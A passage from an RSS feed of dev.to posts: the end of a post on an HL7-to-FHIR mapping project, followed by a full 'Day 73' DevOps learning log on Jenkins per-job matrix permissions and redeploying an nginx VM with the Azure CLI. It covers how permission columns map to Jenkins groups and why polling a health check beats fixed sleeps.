&lt;p&gt;The other half is less comfortable. Three of the nine I did not find by any method, and would not have: they came from people who read Part 1 and asked questions I had not thought to ask. Publishing the thing in an unfinished state is the only reason those arrived at all, which is an argument for writing the series while the work is still wrong rather than after it is right.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;p&gt;I would have written the mapping document and the tests from the HL7 and FHIR specifications first, and the mapper second. I did it the other way round, and ended up with a test suite and a document that both described the implementation back to me. Two sources of confirmation, neither of them independent.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hl7.org/fhir/R4/datatypes.html" rel="noopener noreferrer"&gt;HL7 FHIR R4: Data Types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hl7.org/fhir/R4/bundle-definitions.html" rel="noopener noreferrer"&gt;HL7 FHIR R4: Bundle, element definitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hl7.org/fhir/R4/http.html" rel="noopener noreferrer"&gt;HL7 FHIR R4: RESTful API, conditional create&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.hl7.eu/HL7v2x/v251/std251/ch02.html" rel="noopener noreferrer"&gt;HL7 v2.5.1, Chapter 2: Control, escape sequences (hosted by HL7 Europe)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://terminology.hl7.org/CodeSystem-v2-0001.html" rel="noopener noreferrer"&gt;HL7 v2 table 0001, Administrative Sex (HL7 Terminology)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ND-codes/nhs-interop-platform/tree/part-3" rel="noopener noreferrer"&gt;The code for this article, tag part-3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Next
&lt;/h2&gt;

&lt;p&gt;Part 4, on 4 November, is weekly rather than fortnightly from here, and it is about observability, including an alert in this repo that has never been able to fire.&lt;/p&gt;

&lt;p&gt;Which of your mappings has a test that was written by pasting in what the code already did?&lt;/p&gt;




&lt;p&gt;This is a personal project. It is not affiliated with or endorsed by NHS England or any NHS organisation. It uses the public PDS FHIR sandbox and synthetic test data only. Views are my own.&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>python</category>
      <category>ai</category>
      <category>programming</category>
    </item>
    <item>
      <title>Day 73: Six Permissions and a Repeat</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Wed, 28 Oct 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-73-six-permissions-and-a-repeat-g79</link>
      <guid>https://dev.to/ndcodes/day-73-six-permissions-and-a-repeat-g79</guid>
      <description>&lt;p&gt;Day 73 of DevOps, Day 23 of Azure. Both tasks today looked uniform and were not.&lt;/p&gt;

&lt;p&gt;Six permissions in one list turned out to come from three different places in Jenkins. And an Azure deployment I had run the day before, with the same script and the same image, behaved differently enough to change which verification I would trust.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Give two users different permissions on one job, then repeat yesterday's self-configuring VM from the CLI. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: Two users, one job, different access
&lt;/h2&gt;

&lt;p&gt;The task: grant Rohan &lt;code&gt;build&lt;/code&gt;, &lt;code&gt;cancel&lt;/code&gt;, &lt;code&gt;configure&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt; and &lt;code&gt;tag&lt;/code&gt; on an existing job, and grant Sam &lt;code&gt;build&lt;/code&gt;, &lt;code&gt;configure&lt;/code&gt; and &lt;code&gt;read&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Check, do not create
&lt;/h3&gt;

&lt;p&gt;The task says to grant permissions to users. It does not say to create them, and both already existed.&lt;/p&gt;

&lt;p&gt;Worth being deliberate about, because creating a second &lt;code&gt;rohan&lt;/code&gt; leaves the grant attached to an account nobody logs into, and the symptom is a user who still cannot do anything. That reads like a permissions problem for as long as you let it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Install the plugin, again
&lt;/h3&gt;

&lt;p&gt;Matrix Authorization Strategy is not part of Jenkins. Its own page describes it as offering "matrix-based security authorization strategies (global and per-project)", and on a stock Jenkins the Security page has no matrix option at all.&lt;/p&gt;

&lt;p&gt;Same finding as Day 70, and it is worth repeating because the task's wording assumes it. A task that says "using a project-based matrix authorization strategy" is describing a plugin, and the authorisation half cannot start until it is installed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: The step the task does not mention
&lt;/h3&gt;

&lt;p&gt;Grant Overall/Read to authenticated users, globally, before touching the job.&lt;/p&gt;

&lt;p&gt;Without it, logging in as Rohan gives an access-denied message naming the missing Overall/Read permission, so you cannot verify anything. The usual shorthand for this is that nothing works without Overall/Read, and that overstates it.&lt;/p&gt;

&lt;p&gt;Jenkins is careful here: "While Overall/Read is a prerequisite for more extensive access to Jenkins, some features are available without it." The plugin says the same from the other side: "A user not granted read access to Jenkins in general will not be able to use most of the other permissions."&lt;/p&gt;

&lt;p&gt;Most, not all. So the accurate version is that Overall/Read gates almost everything a person would recognise as using Jenkins, and granting it to authenticated users is a real grant rather than a formality. Every logged-in user can then see that the instance exists and enumerate what they have.&lt;/p&gt;

&lt;p&gt;If you want to avoid that, Jenkins has a narrower tool. Job/Discover is documented as "only useful if anonymous users have Overall/Read permission, but not Job/Read", which is the shape for hiding specific jobs from users who can still reach Jenkins.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: The six permissions come from three places
&lt;/h3&gt;

&lt;p&gt;This is the part I would have got wrong by reading the grid's column labels.&lt;/p&gt;

&lt;p&gt;Jenkins groups its permissions as Overall, Agent, Job, Run, View and Credentials. The Job group is Build, Cancel, Configure, Create, Delete, Discover, Move, Read and Workspace. Four of the task's six names map straight onto it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task name&lt;/th&gt;
&lt;th&gt;Documented permission&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;build&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job/Build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cancel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job/Cancel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;configure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job/Configure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;read&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job/Read&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The other two do not.&lt;/p&gt;

&lt;p&gt;There is no Job/Update. The only documented Update permissions are Run/Update and Credentials/Update, and the one that appears in a per-job grid is Run/Update, which sits in the Run group and concerns individual builds rather than the job's configuration.&lt;/p&gt;

&lt;p&gt;And there is no documented permission called Tag anywhere on Jenkins' permissions page. Tag comes from a plugin, and shows up in the grid only when that plugin is installed. I could not work out which plugin supplies it in this lab, so I am leaving that as unknown rather than filling it in.&lt;/p&gt;

&lt;p&gt;Which makes the lesson a practical one rather than a pedantic one. A permission grid looks like one decision and is several, and a column header does not tell you whether you are granting something about the job or about its builds. Read the grid by column group, not by column label.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Log in as both of them
&lt;/h3&gt;

&lt;p&gt;The grid tells you what was ticked. It does not tell you what works.&lt;/p&gt;

&lt;p&gt;Logging in as Sam and confirming the job can be configured and built, then as Rohan and confirming the same plus what he has extra, is the only check that distinguishes a configured grid from a working one. Day 70 made this point for a single read-only user, and it is stronger with two users who are supposed to differ.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Granting on the job rather than globally is the whole point, and the documentation explains why in one line. Global grants apply everywhere: "Permission applying to such items or agents that are granted in the global configuration apply to all of them." Per-item grants sit on top of that, additively, under the default mode: "Permissions explicitly granted on individual items or agents will only add to permissions defined globally."&lt;/p&gt;

&lt;p&gt;So Rohan's six permissions granted globally would have given him them on every job, present and future. On the job, the scope stays where the task put it, and the global grid carries only the Overall/Read everyone needs.&lt;/p&gt;

&lt;p&gt;There is one thing in this task worth more worry than the permission names, though, and it is that both users got Configure.&lt;/p&gt;

&lt;p&gt;A freestyle job's configuration is its commands. Job/Configure lets a user change the build steps, which means anything in those build steps is visible to and editable by that user, including a password typed into a shell command. If the job runs on the controller rather than an agent, that command runs where Jenkins itself lives.&lt;/p&gt;

&lt;p&gt;That is not a hypothetical in this series. Day 76's job puts a database password directly into its shell step. Anyone with Configure on it can read that password. Granting Configure is closer to granting shell access than the word sounds, and the fix is to keep secrets out of job configuration rather than to be careful about who gets Configure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: Yesterday's VM, from the CLI
&lt;/h2&gt;

&lt;p&gt;The task: the same self-configuring nginx VM as Day 22, named &lt;code&gt;datacenter-vm&lt;/code&gt;, with the region named explicitly.&lt;/p&gt;

&lt;p&gt;Everything from yesterday carried over. The Azure CLI base64-encodes &lt;code&gt;--custom-data&lt;/code&gt;. &lt;code&gt;--nsg-rule&lt;/code&gt; accepts only &lt;code&gt;{NONE, RDP, SSH}&lt;/code&gt;, so port 80 needs &lt;code&gt;az vm open-port&lt;/code&gt;. Cloud-init dispatches on the script's first line. And &lt;code&gt;--storage-sku Standard_LRS&lt;/code&gt; is mandatory in this subscription, because the policy refuses whatever the undocumented default produces.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Pass the region anyway
&lt;/h3&gt;

&lt;p&gt;The resource group is already in eastus, so omitting &lt;code&gt;--location&lt;/code&gt; would have worked. I passed it because the task names a region, which is the Day 4 rule: inheriting a default that happens to match is luck, not correctness.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eastus&lt;/code&gt; is the CLI name. "East US", as the task writes it, is the display name, and the CLI rejects it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The same commands took a different amount of time
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Day 22:  attempt 1: 000    attempt 2: 000    attempt 3: 200
Day 23:  attempt 1: 200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same script, same image, same size, same region, one day apart. Yesterday nginx needed about 40 seconds after &lt;code&gt;az vm create&lt;/code&gt; returned. Today it answered immediately.&lt;/p&gt;

&lt;p&gt;Nothing changed on my side. The variance is in &lt;code&gt;apt-get update&lt;/code&gt; and &lt;code&gt;apt-get install&lt;/code&gt;, which depend on mirror latency and package cache state on the day.&lt;/p&gt;

&lt;p&gt;That is the entire argument for polling a condition rather than sleeping an interval. A &lt;code&gt;sleep 45&lt;/code&gt; tuned to yesterday wastes 45 seconds today. A &lt;code&gt;sleep 20&lt;/code&gt; tuned to today fails yesterday.&lt;/p&gt;

&lt;p&gt;The sharper version: a single immediate &lt;code&gt;curl&lt;/code&gt; would have passed today and failed yesterday. That is the worst kind of check, because it works often enough to earn trust it has not demonstrated. A check that fails loudly is worth more than one that is usually right.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The task asked for two things that sound like one: HTTP reachable from the internet, and the nginx service running. Three checks, three different claims:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;What it proves&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; returns 200&lt;/td&gt;
&lt;td&gt;Reachable now, end to end: NSG rule, public IP, listening process, content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;systemctl is-active&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Running now, independent of the network path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;systemctl is-enabled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Still running after a reboot&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;curl&lt;/code&gt; subsumes "running", since a stopped service cannot answer. What it cannot reach is &lt;code&gt;is-enabled&lt;/code&gt;, which reports whether nginx starts at boot. That is invisible over HTTP, and it only becomes visible after the next restart, by which point nobody is looking.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemctl enable --now&lt;/code&gt; in the boot script set both. Only the direct check confirms the &lt;code&gt;enable&lt;/code&gt; half took effect, and &lt;code&gt;az vm run-command invoke&lt;/code&gt; made that possible without SSH.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Two lists that looked uniform and were not.&lt;/p&gt;

&lt;p&gt;Rohan's six permissions read as one decision about one job. They are four permissions about the job, one about its builds, and one that Jenkins does not document at all. Nothing in the grid says so. You find out by reading the column groups instead of the column labels, or by granting something and discovering later it did not mean what you thought.&lt;/p&gt;

&lt;p&gt;And two runs of the same deployment, with every input identical, differed by about 40 seconds in whether the thing I was checking for existed yet. Which is the more useful of the two findings, because it tells you something about verification rather than about Azure: if a check would have passed today and failed yesterday, it was never a check. It was a coin flip that happened to land well.&lt;/p&gt;

&lt;p&gt;So here is the Day 73 question. Which of your verification steps would still pass if the thing it verifies had not finished yet?&lt;/p&gt;

&lt;p&gt;Day 73 down. Twenty-seven to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
  </channel>
</rss>
